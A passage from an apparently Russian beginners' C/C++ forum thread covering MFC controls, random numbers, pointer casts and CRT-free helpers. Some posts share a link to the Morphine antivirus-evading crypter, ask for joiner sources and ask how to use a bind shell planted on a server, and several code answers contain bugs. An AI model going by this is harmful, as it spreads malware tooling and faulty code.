Просмотр полной версии : [c/c++] Новичкам: задаем вопросы
Страницы :
1
[
2]
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
Alexsize
10.09.2007, 23:11
Ni0x
это в мсдн. а компилятор говорит, что параметра только 2 (без hWnd)
при GetWindowText(m_Edit1, 10);
Ну ка скинь сорец. Я поправлю.
Ну ка скинь сорец. Я поправлю.
скидывать весь сорец нет необходимости. как я уже сказал, есть эдит, обозначенный переменной m_Label. при нажатии на кнопку, нужно перевести его содержимое в массив типа char. я все написал в предыдущих постах. если что-то не понятно, спрашивай.
ЗЫ или дай асю.
Piflit,
int GetDlgItemText( int nID, LPTSTR lpStr, int nMaxCount ) const;
int GetDlgItemText( int nID, CString& rString ) const;
Возвращаемое значение
Определяет фактическое число байтов скопированных в буфер не включая символы завершения. Значение - 0 если никакой текст не скопирован.
Параметры
nID
Определяет целочисленный идентификатор элемента управления чей заголовок должен быть получен.
lpStr
Указатель на буфер чтобы получить заголовок или текст элемента управления.
nMaxCount
Определяет максимальную длину (в байтах) строки, которая будет скопирована в lpStr. Если строка больше чем nMaxCount она будет усечена.
rString
Ссылка на CString.
Замечания
Вызовите эту функцию чтобы получить заголовок или текст связанный с элементом управления в диалоговом окне. GetDlgItemText функция копирует текст по указателю lpStr и возвращает количество байтов которые будет скопировно.
--------------------------------------------------------------------------------
В одном из вариантов как раз то что тебе нужно.
еще один вопрос (последний на сегодня^^). итак, я получил возможность доставать отдельные символы из эдита, но в мессаджбокс они не выводятся, а прога вылетает с критикал эррор. но это не суть. теперь встал вопрос, как первести эти символы в хекс. я нашел одну функцию, но она требует тип char* , а не просто char. еще нашел вот это:
string ( byte.ToString(“X”) ) , но возникает ошибка: must have class/struct/union type . я хз как ее решить. надо объявить тип, но какой, я не знаю=\ и вообще очень хочу спать... всем удачи и приятных снов!
AL Capone
11.09.2007, 10:52
... я нашел одну функцию, но она требует тип char* ...
char* - это указатель на символьную переменную, его и требует.
Joker-jar
11.09.2007, 12:48
но она требует тип char* , а не просто char
Ога, передавай в качестве параметра адрес на переменную, т.е. перед именем переменной ставь знак &
Как в MVC++ v6.0 прикрутить манифест, чтобы контролы были в стиле XP ?
Выдает постоянно
1.obj : error LNK2001: unresolved external symbol __imp__InitCommonControls@0
GlOFF > Прилинкуй к проекту comctl32.lib.
Joker-jar
если в этой строке str2hex - моя (почти :) ) функция, m_Edit - переменная эдита
char * test = StrToHex(&m_Edit.GetAt(0));
возникает такая ошибка
error C2102: '&' requires l-value
Piflit, во-первых, выложи прототип функции, или всю целиком.
http://c.ittoolbox.com/groups/technical-functional/cpp-l/char-to-hex-conversion-792582
Piflit, &m_Edit.GetAt(0) бред в данном случае. Та функция принимает в качестве аргумента указатель на char. Могу лишь предпологать, что m_Edit.GetAt(0) возвращает CString. CString != char.
Piflit, &m_Edit.GetAt(0) бред в данном случае. Та функция принимает в качестве аргумента указатель на char. Могу лишь предпологать, что m_Edit.GetAt(0) возвращает CString. CString != char.
а если использовать & указатель? может подскажешь, как надо?
ЗЫ все больше и больше задумываюсь надо покупкой Страуструпа, но, к сожалению, читать его сейчас нет времени
Та функция принимает в качестве аргумента указатель на char. .GetBuffer(0) тогда =)
.GetBuffer(0) тогда =)
та же ошибка
'&' requires l-value
Я так понял нужно без глюков получить просвоить значение edit`а char* перменной.
Для борланда:
char* text = Edit1->Text.c_str();
Или там ещё можно Edit1->Lines->[чё-то там]
Для vc++
http://msdn2.microsoft.com/en-us/library/d1ae6tz5(VS.80).aspx
У меня MSVC++ v8.0 и v6.0 - как оформить контролы в стиле XP?
Пробывал прикрутить манифест:
<?xml version="1.0" standalone="yes"?><assembly xmlns="urn:schemas-microsoft-com:asm.v1" manifestVersion="1.0"><assemblyIdentity version="1.0.0.0" processorArchitecture="X86" name="M" type="win32"/><dependency><dependentAssembly><assemblyIdentity type="win32" name="Microsoft.Windows.Common-Controls" version="6.0.0.0" processorArchitecture="X86" publicKeyToken="6595b64144ccf1df"/></dependentAssembly></dependency></assembly>
Вызвал InitCommonControls(); Но не помогает. Пробывал с masm9 - все нормально. В чем проблема?
[имя твоегО exe.exe].[расширение манифеста(не помню)]
ЛОЖИТЬ В ОДНУ ПАПКУ)
у меня раньше так работало)
КАКОЙ у меня был манифест я конечно не помню..в инете думаю есть
кстати компилю на vc6
Piflit, ну кто тебе сказал про & ??
CString::GetBuffer
Этот метод возвращает указатель на внутренний символьный буфер объекта CString. Возвращенный LPTSTR - неконстанта и таким образом позволяет прямую модификацию содержания CString.
char *str = str2hex(m_Edit.GetBuffer(0));
(msvc6)
include <list>
....
(в файле )
C:\Program Files\Microsoft Visual Studio\VC98\INCLUDE\iterator(14) : fatal error C1083: Cannot open include file: 'hash_map': No such file or directory
это нормально?)
Ni0x, а то, что значение переменной str не выводится в messagebox'e (пустое поле) это нормально? типа str2hex воркенг или нет?
Piflit, сама функция рабочая, давай ты скинешь мне полный код своего проекта в пм и я постараюсь помочь.
Помогите разобраться с генерацией случайных чисел в MSVC++ v6.0 .
У Borland'a все понятно Randomize и Random(10, 20) - получаем от 10 до 20.
Как быть в VC++ ? srand() , rand() как получить числа от и до. ???
groundhog
12.09.2007, 13:47
А в чём сложность? Чем боры выделились в этом плане?
int main(void) {
int i;
time_t t;
srand((unsigned)time(&t));
printf("5 случайных чисел от 0 до 99 \n\n");
for (i=0; i < 5; i++) printf("%d\n", 0 + rand() % 100);
return 0;
}
srand() , rand() как получить числа от и до. ???
А чего, простите, непонятного?
rand() возвращает рандомное число, следовательно чтобы получить в интервале от A до B надо сделать:
A + rand() % (B-A+1)
Если тебе так неймется, то:
#define Randomize() srand(time(0)) или srand(GetTickCount()) по желанию
#define Random(A,B) ( (A) + rand() % ((B)-(A)+1) )
Randomize();
printf("Random value from 10 to 20: %d\n", Random(10,20));
_Great_ Молодец, как всегда, показал высоты ;)
srand((unsigned)time(&t));
printf("5 случайных чисел от 0 до 99 \n\n");
for (i=0; i < 5; i++) printf("%d\n", 0 + rand() % 100);
Вся проблема в том, что при каждом запуске программа выдает одну и туже последовательность случайных чисел. :(
#include "time.h"
srand(time(NULL)); //создаём генератор
ИМХО: ранд\сранд - дерьмо. Тока добавляет размер к файлу + нелюбит /ENTRY:WinMain , я делаю так:
int rand = (GetTickCount())%1000 //получили рандомное 3-х значное число
ИМХО: ранд\сранд - дерьмо. Тока добавляет размер к файлу + нелюбит /ENTRY:WinMain
Ты вообще имеешь понятие о том, что делает ENTRY:WinMain ? rand/srand и не должны работать так, ведь это CRT. Вот неплохой пример:
// -----------[ random stuff ]-----------
// (c) drmist\STNC 2006
#include "windows.h"
#include <stdio.h>
unsigned long rs_randseed;
void _srand();
unsigned long _rand();
void _srand()
{
rs_randseed = GetTickCount();
}
unsigned long _rand()
{
rs_randseed++;
return (rs_randseed*0xF02CE551) + 0x7FF2742B;
}
int main()
{
int a;
_srand();
a=_rand();
char *pa;
printf("This: ",itoa(a,pa,10));
return 0;
}
// ^^^ ^^^
// -----------[ random stuff ]-----------
Ni0x, а память выделять для pa, видимо, уже не принято?
Пример, очевидно, стоит переписать:
int main()
{
int a;
char pa[10];
_srand();
a=_rand() % 1000;
printf("This: %s\n",itoa(a,pa,10));
return 0;
}
Ky3bMu4
ИМХО: ранд\сранд - дерьмо. Тока добавляет размер к файлу + нелюбит /ENTRY:WinMain , я делаю так:
Чтобы делать такие смелые заявления, нужно сначала разобраться, что такое C Run-Time Library (CRT)
10x 2 Ni0x, который подсказал правильный вариант, но потом куда-то ушел...
char lpStr[10];
GetDlgItemText(IDC_EDIT1,lpStr, sizeof(lpStr));
MessageBox(&lpStr[1], 0, 0);
но теперь выводятся все символы, начиная с lpStr[1], а не просто второй символ эдита. нужно выводить посимвольно... какие есть идеи?
_Great_ , пример не мой, копирайты стоят, просто показан принцип генерации чисел, кому действительно надо - исправит.
Piflit Попробуй так:
char lpStr[10];
char cTmp;
GetDlgItemText(IDC_EDIT1,lpStr, sizeof(lpStr));
for(int i=0; i<sizeof(lpStr); i++)
{
cTmp = lpStr(i) ;
MessageBox(0,&cTmp, 0, 0x40);
}
//Ni0x, _Great_ , Ky3bMu4 Спс за примеры и помощь. Пошел тестить псевдо случайность ;)
как перевести тип из char * в unsigned char?
groundhog
16.09.2007, 15:53
Указатель ты можешь привести к другому типу, но он всегда останется указателем, а просто к типу unsigned char ты его никогда не приведёшь... Если ты имел в виду первый случай, то сделай так
char *char_ptr;
(unsigned char*)char_ptr; // Приведение типа указателя
char *char_ptr;
(unsigned char)char_ptr;
хз, компайлер съел... только пока не работает... скорее всего ошибка в другом
groundhog
16.09.2007, 16:06
Piflit, компайлер оптимизирующий, он мог этот бред проигнорировать... Бред приводить указатель (адрес памяти) к беззнаковому типу.
а что делать, если функция обрабатывает строку и возвращает char * , который потом надо записать в массив unsigned char abc[123] ?
groundhog
16.09.2007, 16:14
Вопроса не понял... Ну у тебя есть указатель... Если известна длина строки по возвращённому указателю - копируй с помощью strcpy или memcpy в массив abc... Например:
char *some_ptr;
unsigned char abc[123];
strcpy(&abc[0], (unsigned char*)some_ptr);
или так:
char *some_ptr;
unsigned char abc[123];
strcpy(abc, (unsigned char*)some_ptr);
Joker-jar
16.09.2007, 16:20
(unsigned char *)&char_ptr;
groundhog
16.09.2007, 16:25
char_ptr - это уже указатель, нафига ему &?
Joker-jar, мне нужен unsigned char, а не unsigned char *.
(unsigned char *)&char_ptr; возвращает unsigned char * (так сказал компилятор).
groundhog, спасибо, думаю, должно получиться
Joker-jar
16.09.2007, 16:28
groundhog, ага, не заметил :)
Вот так вроде пашет:
char * ch;
unsigned char * uuch;
unsigned char uch;
(* ch) = -10;
uuch = (unsigned char*)ch;
uch = (* uuch); //ц = 246
groundhog
16.09.2007, 16:31
Piflit, дружище, не в обиду - ну почитай ты этот сраный мануал по типам, указателям и приведению типов... :) Я вот уверен, что ты после всей этой информации всё равно не до конца понял суть указателей... :)
groundhog кстати,
strcpy(&data[i], (unsigned char*)hex); // hex типа char * , data - массив типа unsigned char
'strcpy' : cannot convert parameter 1 from 'unsigned char *' to 'char *'
groundhog
16.09.2007, 16:45
А так strcpy(&data[i], hex)?
Joker-jar
16.09.2007, 16:54
А если так?
char * some_ptr;
unsigned char abc[123] = "";
int i = 0;
some_ptr = "stroka";
while ((* some_ptr) != 0)
{
abc[i] = (* some_ptr);
some_ptr++;
i++;
}
аналогично:
char * some_ptr;
unsigned char abc[123] = "";
some_ptr = "stroka";
StrCopy(abc, some_ptr);
А так strcpy(&data[i], hex)?
та же ошибка
groundhog
16.09.2007, 17:39
Я тупарь и идиот. Всё дело в том, что функция имеет такой прототип:
char * strcpy ( char * destination, const char * source );
т.е. в данном случае нужен вызов strcpy((char*)&data[i], hex);
исходники каких крипторов\джойнеров есть в паблике?
Из крипторов самое нормальное что я видел - это Morphine, полиморфный криптор, который распространяется в версиях на С и дельфи, из джоинеров - микроджоинер.
Из крипторов самое нормальное что я видел - это Morphine, полиморфный криптор, который распространяется в версиях на С и дельфи, из джоинеров - микроджоинер.
немного погуглил. на сорцы морфина ссылки битые, а микроджоинер тока на асме... если у тебя есть, залей плз
Morphine
http://slil.ru/24873699
если читать в массив char buffer [1024]; содержимое ехешника размером в 1024b с помощью readfile, то как проверить на соответствие определенного элемента массива определенному символу?
if(body[x]=='a') так?
Piflit,
Ну обычно в цикле проходят по массиву до первого нужного символа.
Piflit,
Ну обычно в цикле проходят по массиву до первого нужного символа.
я знаю. мне нужна сама строчка сравнения. она правильная?
Конечно. Почему она должна быть не правильной?
Конечно. Почему она должна быть не правильной?
ок. я все с псевдобилдером занимаюсь секисом... если кто может помочь по коду (VC++ 6), стукните в аську плз (в профиле) кода не очень много . уже наверно неделю этим занимаюсь... начанает надоедать... хотя на выходе может получиться (очень) интересная вещь.
Piflit Стукнул... вроде проблему решили ;)
при линковке возникает ошибка. поюзал поиск, ничего не нашел
error LNK2001: unresolved external symbol _main
ЗЫ GlOFF thx=)
groundhog
22.09.2007, 18:12
Piflit, перемудрил с опциями линкера? Или проект создал конскольный, а нужно было виндовый...
Piflit, перемудрил с опциями линкера? Или проект создал конскольный, а нужно было виндовый...
проект вин32
Piflit, вот именно, я так полагаю у тебя
int main() в вин32 проекте? Измени на WinMain. Обрати внимание, в опциях проекта, в настройках линкера есть пункт SUBSYSTEM.
Piflit, вот именно, я так полагаю у тебя
int main() в вин32 проекте? Измени на WinMain. Обрати внимание, в опциях проекта, в настройках линкера есть пункт SUBSYSTEM.
#pragma comment(linker,"/entry:WinMain")
int __stdcall WinMain(HINSTANCE, HINSTANCE, LPSTR, int)
не очень понял, о каких настройках линкера ты гворишь, но вот что я нашел:
Project -> Settings -> C/C++ там везде мелькает WIN32
Project -> Settings -> MIDL -> Project Options -> /nologo /D "NDEBUG" /mktyplib203 /win32
DRON-ANARCHY
22.09.2007, 19:07
Как написать процедуру на Borland C++ которая создает список(на указателях) из целых чисел(вводятся с клавы) и потом находит в нем максимальный элемент и если он не один, то считает скока их?
#pragma comment(linker,"/entry:WinMain")
int __stdcall WinMain(HINSTANCE, HINSTANCE, LPSTR, int)
и
error LNK2001: unresolved external symbol _main
Следствие: почитай про C Run-Time.
http://www.rsdn.ru/article/cpp/crt.xml
http://www.rsdn.ru/article/cpp/crt.xml
я читал эту статью.
значит можно сделать вывод, что в моей проге есть какие-то функции, которые требуют CRT, но если ее добавть размер охрененно возрастет. получается, надо обрезать эти функции. так?
groundhog
22.09.2007, 19:31
Надо их заменить аналогами Winapi.
Надо их заменить аналогами Winapi.
Наверное это будет самой оптимально решенией
значит можно сделать вывод, что в моей проге есть какие-то функции, которые требуют CRT, но если ее добавть размер охрененно возрастет. получается, надо обрезать эти функции. так?
Угу, если бы у всех CRT-символов были аналоги в API windows, то нафига бы она была нужна. Не надо проводить четкую аналогию между CRT и API, её нет. То, что у strlen() есть аналог lstrlen() в kernel32.dll считайте чистой случайностью.
Вообще посмотри экспорт ntdll - найдешь очень много ф-ий типа strstr().
Ну можно вручную переписать много чего.
Я конечно хотел понтануться и кинуть листинг на осенблере всех этих ф-ий, но потом подумал что заебался понтоваться. Я и так крутой ИМХО.
bool lstrncmp( char *s1, char *s2, size_t iMaxLen ) {
for (size_t i = 0; i < iMaxLen; i++) {
if (!s1[i] || !s2[i]) return true;
if (s1[i] != s2[i]) return true;
}
return false;
}
void lmemset( void *dst, char v, size_t s ) {
for (size_t i = 0; i < s; i++) {
((char*)dst)[i] = v;
}
}
void lmemcpy( void *dst, void *src, size_t s ) {
for (size_t i = 0; i < s; i++) {
((char*)dst)[i] = ((char*)src)[i];
}
}
bool lmemcmp( void *p1, void *p2, size_t s ) {
for (size_t i = 0; i < s; i++) {
if (((char*)p1)[i] != ((char*)p2)[i]) return true;
}
return false;
}
void *lmalloc( size_t s ) {
return HeapAlloc( GetProcessHeap(), HEAP_ZERO_MEMORY, s );
}
void lfree( void *p ) {
HeapFree( GetProcessHeap(), 0, p );
}
void* __cdecl operator new( size_t s ) {
return lmalloc( s );
}
void __cdecl operator delete( void *p ) {
lfree( p );
}
Кез, прекратите понтоваться, пришло время нового поколения. У них есть пинч, а у вас знания по какимто С и онсемблеру, фуу.. не модно.
Я конечно тоже решил понтонуться и заделал аналог strlen() на ассемблере. Кстати, большинство функций crt переводятся на ассемблер за пару минут, при определенном знании конечно.
unsigned int _strlen(char *str)
{
unsigned int len = 0;
__asm
{
xor eax, eax
mov edi, str
or ecx, 0xffffffff
repne scasb
not ecx
dec ecx
mov len, ecx
}
return len;
}
И даже пример использования!
#include <stdio.h>
#include <stdlib.h>
unsigned int _strlen(char *str)
{
unsigned int len = 0;
__asm
{
xor eax, eax
mov edi, str
or ecx, 0xffffffff
repne scasb
not ecx
dec ecx
mov len, ecx
}
return len;
}
int main(int argc, char *argv[])
{
unsigned int ls = _strlen("WJWIdske83");
printf("%d\n", ls);
system("PAUSE");
return 0;
}
2KEZ ну вот с нью и делитом все не так хорошо тк их основное достоинство в том, что они помимо выделения\освобождения памяти вызывают конструктор\деструктор к применяемым обьектов.
зы все операции к отдельным байтам памяти лучше конечно заменять обращениями по dword если это позволяется.
Выскакивает ошибка при компиляции: (Visual C++ 6.0)
--------------------Configuration: Unit1 - Win32 Debug--------------------
Compiling...
Unit1.cpp
C:\Documents and Settings\*******************\exe\Unit1.cpp(110) : error C2065: 'StatusOnTaskBar' : undeclared identifier
C:\Documents and Settings\*******************\exe\Unit1.cpp(243) : error C2374: 'i' : redefinition; multiple initialization
C:\Documents and Settings\*******************\exe\2\Unit1.cpp(161) : see declaration of 'i'
Error executing cl.exe.
Unit1.exe - 2 error(s), 0 warning(s)
Кто может помочь?
StatusOnTaskBar нужно указать прототип перед ее использованием
скорее всего у тебя два цикла и ты два раза написал int i...
так как кода ты не привел это всего лишь догадки.
DRON-ANARCHY
23.09.2007, 15:29
Народ! Спрашиваю еще раз ибо надо...
как при помощи указателей можно составить список целых чисел(вводится с клавиатуры) и потом посчитать сколько в нем содержится максимальных элементов. То есть найти самый большой и посчитать сколько таких в этом списке...
Если можно - то напишите сразу код плз. А то я с указателями вообще на "вы"... а задачу надо сдать =\
PS: у меня борландовский цпп... так что модуля algorithm там нет) вобщем на циклах писать или как-то так... спасибо заранее
СПАСИБО. ПРОБЛЕМУ УЖЕ РЕШИЛ
если кому интересно, то вот решение... может пригодится...
#include <stdio.h>
struct tlist
{
long value;
tlist *next;
};
void main(void)
{
tlist *list=NULL,*t=NULL,*t2;
int a;
puts("Enter numbers; enter non-number value to finish");
while(scanf("%d",&a)==1)
{
t2=t;
t=new tlist;
t->next=NULL;
t->value=a;
if(!list)list=t;
else t2->next=t;
}
int cnt=0;
t=list;
while(t)
{
if(!cnt||a<t->value)
{
cnt=1;
a=t->value;
}
else
if(a==t->value)cnt++;
t=t->next;
}
printf("Maximum %d, %d times\n",a,cnt);
}
Реализация линейного списка на С, с остальными задачами думаю сам справишься.
http://slil.ru/24889243
DRON-ANARCHY
23.09.2007, 15:50
Спасибо... но мне надо все это написать при помощи обычных модулей... то есть не насилуя так сильно мозг...
1) как обнулить массив типа char или char *?
2) как перевести из char * массива (массив вида x[0]='0', x[1]='1', x[2]='2', x[n]='n'... итд) в тип unsigned long (чтобы было x = 0123, кстати, как убрать 0?)
1) ZeroMemory()
2) что-то вроде crt функции atol() вроде.
Ni0x
1) ZeroMemory(array) ?
2) мне нужно winapi...
1)
VOID ZeroMemory(
PVOID Destination,
// address of block to fill with zeros
DWORD Length // size, in bytes, of block to fill with zeros
);
2) Под винапи ты не найдешь таких функций, либо используй crt, либо сам пиши, ничего сложного не вижу.
Piflit
1) Можно в цикле обнулять по элементно:
for(int i = 0; i < CountArray; i++)
{
Array[i] = 0;
}
_PARAZIT_
06.10.2007, 17:33
как пользоваться бинд шеллом установленым на сервере через телнет. и должно ли в телнете результат команды?
и как пользоваться через собствииный клиент?
groundhog
06.10.2007, 17:36
_parazit_, ты уверен, что в ту тему запостил?
_PARAZIT_
06.10.2007, 18:08
ну у меня же шелл на С++...
оффтоп
>>Опера тоже на си
>>Давайте теперь все вопросы когда будем сидеть в этом броузере задавать только в этой теме
groundhog
06.10.2007, 18:18
_PARAZIT_, а ну да... Это сильно меняет дело... Я то думал, как ты к этой теме смог отнести... :) Шелл на то и шелл, что он должен принимать команды, выполнять и отдавать результат клиенту. Коннектится нужно на соответствующий прибинденный порт, клиент любой, передающий RAW-данные в сокет, в общем любой telnet-совместимый. Как пользоваться? Вводить команды, определённый в системе...
функция SetFilePointer возвращает the low-order DWORD of the new file pointer. что это такое? хендл на файл, начинающийся с нового поинтера?
Piflit,
функция при успешном результате вернет младший байт установленной позиции.
Piflit,
функция при успешном результате вернет младший байт установленной позиции.
так, я разобрался, спс inv'y за помощь. что такое младший байт установленной позиции, и чем он отличается от старшего?
Вот справка, тут подробнее описано.
;-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·;
; Функция SetFilePointer пеpемещает файловый указатель откpытого файла. ;
; ;
; DWORD SetFilePointer( ;
; HANDLE hFile, // хэндл файла ;
; LONG lDistanceToMove, // дистанция, на котоpое нужно пеpеместить ;
; // файловый указатель (в байтах) ;
; PLONG lpDistanceToMoveHigh, // адpес веpхнего слова дистанции ; ;
; DWORD dwMoveMethod // как пеpемещать ;
; ); ;
; ;
; Паpаметpы ;
; --------- ;
; ;
; ¦ hFile: Задает файл, чей файловый указатель должен быть пеpемещен. ;
; Хэндл файла должен быть создан с доступом GENERIC_READ или ;
; GENERIC_WRITE. ;
; ;
; ¦ lDistanceToMove: Задает количество байтов, на котоpое нужно ;
; пеpеместить файловый указатель. Положительное значение двигает ;
; указатель впеpед, а отpицательное - назад. ;
; ;
; ¦ lpDistanceToMoveHigh: Указывает на веpхнее двойное слово 64-х битной ;
; дистанции пеpемещения. Если значение это паpаметpа pавно NULL, функция ;
; SetFilePointer может pаботать с файлами, pазмеp котоpых не пpевышает ;
; 2^32-2. Если это паpаметp задан, то максимальный pазмеp pавен 2^64-2. ;
; Также это паpаметp пpинимает веpхнее двойное слово позиции, где должен ;
; находиться файловый указатель. ;
; ;
; ¦ dwMoveMethod: Задает стаpтовую позицию, откуда должен двигаться ;
; файловый указатель. Этот паpамет может быть pавен одному из следующих ;
; значений: ;
; ;
; Константа Значение ;
; ;
; + FILE_BEGIN - Стаpтовая позиция pавна нулю или началу файла. Если ;
; задана эта константа, DistanceToMove интеpпpетиpуется ;
; как новая беззнаковая позиция файлового указателя. ;
; ;
; + FILE_CURRENT - Стаpтовой позицией является текущее положение ;
; файлового указателя. ;
; ;
; + FILE_END - Стаpтовой позицией является конец файла. ;
; ;
; ;
; Возвpащаемые значения ;
; --------------------- ;
; ;
; ¦ Если вызов функции SetFilePointer пpошел успешно, возвpащаемое ;
; значение - это нижнее двойное слово новой позиции файлового указателя, ;
; и если lpDistanceToMoveHigh не было pавно NULL, функция помещает ;
; веpхнее двойное слово в LONG, на котоpый указывает этот паpаметp. ;
; ;
; ¦ Если вызов функции не удался и lpDistanceToMoveHigh pавно NULL, ;
; возвpащаемое значение pавное 0xFFFFFFFF. Чтобы получить pасшиpенную ;
; инфоpмацию об ошибке, вызовите GetLastError. ;
; ;
; ¦ Если вызов функции не удался и lpDistanceToMoveHigh не pавно NULL, ;
; возвpащаемое значение pавно 0xFFFFFFFF и GetLastError возвpатит ;
; значение, отличное от NO_ERROR. ;
; ;
; ---
На счет старших и младших - открой любую книгу по ассемблеру, там все описано подробно.
как на winapi пропарсить строку? если конкретно, нужно получить имя файла из его полного пути.
Piflit
DWORD GetFullPathName(
LPCTSTR lpFileName, // address of name of file to find path for
DWORD nBufferLength, // size, in characters, of path buffer
LPTSTR lpBuffer, // address of path buffer
LPTSTR *lpFilePart // address of filename in path
);
Интересен нам lpFilePart - адресс на имя файла в полном пути файла.
int GetFileName(char *path,int pathsize)
{
for(int a=pathsize; a>=0 ; a--){
if(path[a]=='\\'){
return (DWORD)path+a+1;
}
}
return 0;
}
зачем апи? вот примерно накидал. так быстрее
зачем апи? вот примерно накидал. так быстрее
не шаришь, во первых в полном пути файла могут быть символы '/', а не '\', во вторых твой вариант - возвращающий int вместо указателя будет работать не правильно на x64 платформе, поскольку там(под виндой) sizeof(int) == 4, а sizeof от указателя 8.
Underwit
08.10.2007, 16:32
С:
signed и unsigned, можно про это поподробней что значит знаковыйБ беззнаковый - это как понять?
halkfild
08.10.2007, 16:46
это значит что верхний бит числа не знак, а понимается как еще один розряд числа
groundhog
08.10.2007, 16:46
Грубо говоря, это те же яйца, только в профиль... Что знаковые, что беззнаковые типы - они одинаково хранятся в памяти. Скажем тип int - 32 бита или 4 байта. Что в знаковом представлении, что в беззнаковом - в памяти это 4 байта как не крути. Команды процессора по работе с этим типом не будут отличаться. Фишка в том, с каких позиций рассматривается этот тип. То есть первый бит может рассматриваться как "знаковый", т.е. если он равен 0, то значение считается положительным, если установлен в 1, то значение считается отрицательным, остальные же биты числа определяют именно значение. Соответственно, если первый бит будет интерпретироваться как знак, то такое значение имеет меньшую "ёмкость".
В случае с signed, проще говоря, переменная x - любое действительное число(учитываем типы), тоесть x может быть меньше, больше или равным нулю, а в случае unsigned - x не может быть отрицательной, тоесть x => 0. По умолчанию все переменные signed, если нам нужна беззнаковая переменная - прописываем перед типом unsigned, обычно просто unsigned перед переменной воспринимается компилятором, как unsigned int.
Вопрос простой по синтаксису. Как пишется операция побитового циклического смещения (Без вытеснения). На асме ror\rol ... А на С++ ???
там вроде нет побитового оператора циклического смещения
http://www.williamspublishing.com/PDF/5-8459-0840-X/part.pdf
inv Ну есть вот циклическое побитовое смещение с вытеснением, типо
DWORD dw = 0xFF;
dw = dw << 8;
dw - равен 0xFF00;
dw << 32 = нулю, а хотелось бы 0xFF.
Может ведь есть все же :confused:
salex100
09.10.2007, 13:38
Может ведь есть все же :confused:
Только с помощью функций CRT:
_rotl, _rotl64, _rotr_rotr64
А какой простой прикол с СДРОМОМ можно сделать из использюя сппец код для консольного приложения на с++
inv Ну есть вот циклическое побитовое смещение с вытеснением, типо
DWORD dw = 0xFF;
dw = dw << 8;
dw - равен 0xFF00;
dw << 32 = нулю, а хотелось бы 0xFF.
Может ведь есть все же :confused:
Наверное легче будет асм вставками...
FoX's Ну если норм нет, то асм вставки рулят :)!!!
Помогите решить задачи
Выполнить задания двумя способами: с использованием оператора if и с ис-пользованием условного оператора ?.
1. Даны вещественные числа x, y. Если x и y разного знака, то каждое значе-ние заменить их абсолютными значениями. Если оба значения положительны, то уменьшить их на 10,5. Если оба значения отрицательны и одно из них при-надлежит отрезку [–2,0; –1,0], то оба значения увеличить в 10 раз; в остальных случаях x и y оставить без изменения.
2. Даны действительные числа x1, y1, x2, y2. Вычислить
min(x1, y1, x2, y2)+min(x1,x2,y1).
сорь, что лезу с глупыми вопросами, но сам решить вопрос не очень могу.
Надо составить прогу, которая бы считала сумму ряда чисел с максимальной точностью:
беск
E (сумма) {((-1)^[Vi]) * x^2i}/ [(i+2)* (i+3)
i=0
[Vi ] - целая часть числа-арифметического корня числа i
числитель (-1)в степени [Vi] * x в степени 2i
знаменатель (i+2)*(i+3)
х - задаётся юзером
i = переменная цикла
оч нужно решение задачи на C
groundhog
15.10.2007, 10:09
Или дуй в лабораторные, где это делают бесплатно, или говори сколько платишь...
сорь, что лезу с глупыми вопросами, но сам решить вопрос не очень могу.
Надо составить прогу, которая бы считала сумму ряда чисел с максимальной точностью:
беск
E (сумма) {((-1)^[Vi]) * x^2i}/ [(i+2)* (i+3)
i=0
[Vi ] - целая часть числа-арифметического корня числа i
числитель (-1)в степени [Vi] * x в степени 2i
знаменатель (i+2)*(i+3)
х - задаётся юзером
i = переменная цикла
оч нужно решение задачи на C
Я бы тебе предложила сделать это в Мталабе, но тема не та.
А на какой версии делать нужно? Просто в 6 версии есть изьян. Он автоматом округляет, когда не надо. А в 8(VS 2005) этого нет)
groundhog
18.10.2007, 10:35
Я бы тебе предложила сделать это в Мталабе, но тема не та.
А на какой версии делать нужно? Просто в 6 версии есть изьян. Он автоматом округляет, когда не надо. А в 8(vs 2005) этого нет)
Что-то новенькое...
Помогите решить задачи
Выполнить задания двумя способами: с использованием оператора if и с ис-пользованием условного оператора ?.
1. Даны вещественные числа x, y. Если x и y разного знака, то каждое значе-ние заменить их абсолютными значениями. Если оба значения положительны, то уменьшить их на 10,5. Если оба значения отрицательны и одно из них при-надлежит отрезку [–2,0; –1,0], то оба значения увеличить в 10 раз; в остальных случаях x и y оставить без изменения.
2. Даны действительные числа x1, y1, x2, y2. Вычислить
min(x1, y1, x2, y2)+min(x1,x2,y1).
Самый глупый способ сделать так.
Сделала на скору руку. Вторую задачу сам надеюсь поймешь как делать. Используй весь арсенал С++ для поиска минимума и максимума.
Вот листинг первой задачи:
#include <iostream>
using namespace std;
int main(){
double chisl1, chisl2;
cout<<"Vvedi pervo chislo = ";
cin>>chisl1;
cout<<"\nVvedi vtoroe chislo = ";
cin>>chisl2;
if((chisl1 > 0) && (chisl2 < 0) || (chisl1 < 0) && (chisl2 > 0)){
chisl1 = abs(chisl1);
chisl2 = abs(chisl2);
}
else if ((chisl1 > 0) && (chisl2 > 0)){
chisl1 = chisl1 - 10,5;
chisl2 = chisl2 - 10,5;
}
else if((chisl1 < 0) && (chisl2 < 0) && ((chisl1 > -2) && (chisl1 < -1) || (chisl2 > -2) && (chisl2 < -1))){
chisl1 = chisl1/10;
chisl2 = chisl2/10;
}
else{
chisl1 = chisl1;
chisl2 = chisl2;
}
cout<<"Rezult = ";
cout<< chisl1;
cout<<"\nRezult = ";
cout<< chisl2;
}
Что-то новенькое...
И что же для тебя тут новенькое нашлось???
groundhog
18.10.2007, 11:31
И что же для тебя тут новенькое нашлось???
Примерчик "автоматического" округления можно лицезреть? Для 6 и 8? А то от жизни совсем отстал...
З.Ы. Если вы действительно девушка, то радует алгоритмически правильно построенная программа, хотя и не оптимизированно. По образования вы скорее математик.
нееет. Не тут. а при 6.84394572983247 Вот тут округлит, а если мне нужно точные данные?!
groundhog
18.10.2007, 11:47
Вообще погрешности округления это следствие конечности разрядной сетки машины, и по идее это зависит от архитектуры, а не от компилятора... Чтож... Я проверю вечером этот момент.
Народ с чего стоит начать изучать с++ ?
Какую книгу сначало прочитать ?
ЗЫ Я изучал только Турбо Паскаль .
C++ за 21,0000000001 день
ну можно взяить С++ для чайников, но это не выход. Ты главное определись, что ты хочешь на нем написать. Прочти про массивы, про контейнеры. Про заголовочные файлы, классы. Потом прочти про ООП. Так книжку не посоветуешь. Я читала все подрят.
FlyBird Dr.Check Спасибки за совет . Я хочу для начала писать простенькие програмки . Например текстовый редактор ну или браузер :)
